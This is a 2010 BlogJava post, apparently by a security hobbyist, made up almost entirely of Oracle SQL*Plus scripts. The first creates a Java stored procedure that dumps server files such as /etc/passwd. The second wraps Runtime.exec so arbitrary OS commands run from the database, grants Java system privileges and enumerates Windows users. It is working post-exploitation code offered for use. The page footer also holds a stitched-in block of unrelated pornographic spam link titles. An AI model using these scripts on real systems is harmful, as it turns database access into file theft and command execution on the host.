shnulaa
Never deter till tomorrow that which you can do today
posts - 15, comments - 0, trackbacks - 0, articles - 2
BlogJava
::
首頁
::
新隨筆
::
聯系
::
聚合
::
管理
oracle read file context
Posted on 2010-09-28 15:53
shnulaa
閱讀(211)
評論(0)
編輯
收藏
所屬分類:
java
1
--
code
2
set
serveroutput
on
3
Create
or
REPLACE
AND
RESOLVE JAVA SOURCE NAMED "JAVAREADFILE"
4
AS
5
import java.lang.
*
;
6
import java.io.
*
;
7
public
class JAVAREADFILE
8
{
9
public
static void readfile(String filename) throws IOException
10
{
11
FileReader f
=
new FileReader(filename);
12
BufferedReader fr
=
new BufferedReader(f);
13
String
text
=
fr.readLine();
14
while
(
text
!=
null
)
15
{
16
System.out.println(
text
);
17
text
=
fr.readLine();
18
}
19
fr.
close
();
20
}
21
}
22
/
23
Create
or
REPLACE
PROCEDURE
JAVAREADFILEPROC (p_filename
IN
VARCHAR2
)
24
AS
LANGUAGE JAVA
25
NAME
'
JAVAREADFILE.readfile(java.lang.String)
'
;
26
/
27
exec
dbms_java.set_output(
5000
);
28
grant
javasyspriv
to
system;
29
grant
javauserpriv
to
system;
30
exec
JAVAREADFILEPROC(
'
/etc/passwd
'
)
31
--
code
32
for windows
1
--
code
2
create
or
replace
and
compile
3
java souRCe named "util"
4
as
5
import java.io.
*
;
6
import java.lang.
*
;
7
public
class util extends Object
8
{
9
public
static
int
RunThis(String args)
10
{
11
Runtime rt
=
Runtime.getRuntime();
12
int
RC
=
-
1
;
13
try
14
{
15
Process p
=
rt.
exec
(args);
16
int
bufSize
=
4096
;
17
BufferedInputStream bis
=
new BufferedInputStream(p.getInputStream(), bufSize);
18
int
len
;
19
byte buffer
[]
=
new byte
[
bufSize
]
;
20
//
Echo back what the program spit out
21
while
((
len
=
bis.
read
(buffer
22
,
0
, bufSize))
!=
-
1
)
23
System.out.write(buffer,
0
,
len
);
24
RC
=
p.
waitFor
();
25
}
26
catch (Exception e)
27
{
28
e.printStackTrace();
29
RC
=
-
1
;
30
}
31
finally
32
{
33
return
RC;
34
}
35
}
36
}
37
/
38
create
or
replace
39
function
RUN_CMz(p_cmd
in
varchar2
)
return
number
40
as
41
language java
42
name
'
util.RunThis(java.lang.String) return integer
'
;
43
/
44
create
or
replace
procedure
RC(p_cmd
in
varChar
)
45
as
46
x
number
;
47
begin
48
x :
=
RUN_CMz(p_cmd);
49
end
;
50
/
51
variable x
number
;
52
set
serveroutput
on
;
53
exec
dbms_java.set_output(
100000
);
54
grant
javasyspriv
to
system;
55
grant
javauserpriv
to
system;
56
exec
:x:
=
run_cmz(
'
net1 user
'
);
57
--
code
新用戶注冊
刷新評論列表
只有注冊用戶
登錄
后才能發表評論。
網站導航:
博客園
IT新聞
Chat2DB
C++博客
博問
管理
相關文章:
關于持續集成的問題
jsp web shell
cmd5
oracle read file context
Blind Cmd or bash
jboss oday test
thread test
Powered by:
BlogJava
Copyright © shnulaa
日歷
<
2010年9月
>
日
一
二
三
四
五
六
29
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1
2
3
4
5
6
7
8
9
公告
常用鏈接
我的隨筆
我的評論
我的參與
留言簿
給我留言
查看公開留言
查看私人留言
隨筆分類
java(7)
linux(3)
maven(1)
隨筆檔案
2012年6月 (2)
2011年4月 (1)
2010年9月 (12)
文章檔案
2012年6月 (2)
sd
http://geniusman.co.cc/
http://geniusman.co.cc/
http://shnulaa.68480.net/
http://shnulaa.68480.net/
shnulaa
shnulaa
shnulaa
shnulaa
搜索
積分與排名
積分 - 4518
排名 - 3177
最新評論
閱讀排行榜
1.?putty 的配色方案(1599)
2.?jsp web shell(284)
3.?關于持續集成的問題(276)
4.?cmd5(239)
5.?http://geniusman.co.cc/http://geniusman.co.cc/(229)
評論排行榜
1.?http://geniusman.co.cc/http://geniusman.co.cc/(0)
2.?sss(0)
3.?一個比較不錯的linux學習網站(0)
4.?putty 的配色方案(0)
5.?關于持續集成的問題(0)
主站蜘蛛池模板:
亚洲国产一成人久久精品
|
成人免费一区二区三区
|
亚洲欧洲国产精品你懂的
|
国产成人免费ā片在线观看
|
8888四色奇米在线观看免费看
|
人人公开免费超级碰碰碰视频
|
猫咪免费人成在线网站
|
亚洲伊人精品综合在合线
|
亚洲AV第一页国产精品
|
亚洲情综合五月天
|
亚洲真人日本在线
|
免费一级毛片在线播放不收费
|
毛片免费视频在线观看
|
我的小后妈韩剧在线看免费高清版
|
国产精品免费大片
|
日本不卡免费新一区二区三区
|
国产日韩AV免费无码一区二区三区
|
国产精品亚洲综合
|
色天使亚洲综合一区二区
|
在线观看亚洲AV日韩AV
|
国产成人亚洲合集青青草原精品
|
亚洲国产美女视频
|
亚洲人成综合在线播放
|
亚洲大香人伊一本线
|
91在线亚洲精品专区
|
亚洲成在人天堂在线
|
亚洲AV日韩AV天堂久久
|
亚洲视频中文字幕
|
久久精品九九亚洲精品
|
亚洲最大在线视频
|
国产免费一级高清淫曰本片
|
国产精品免费久久久久影院
|
yellow免费网站
|
免费看黄的成人APP
|
午夜免费啪视频在线观看
|
1000部禁片黄的免费看
|
中文字幕免费在线看线人
|
日本一区二区三区免费高清
|
成人免费a级毛片无码网站入口
|
亚洲精品在线免费观看视频
|
亚洲精品在线不卡
|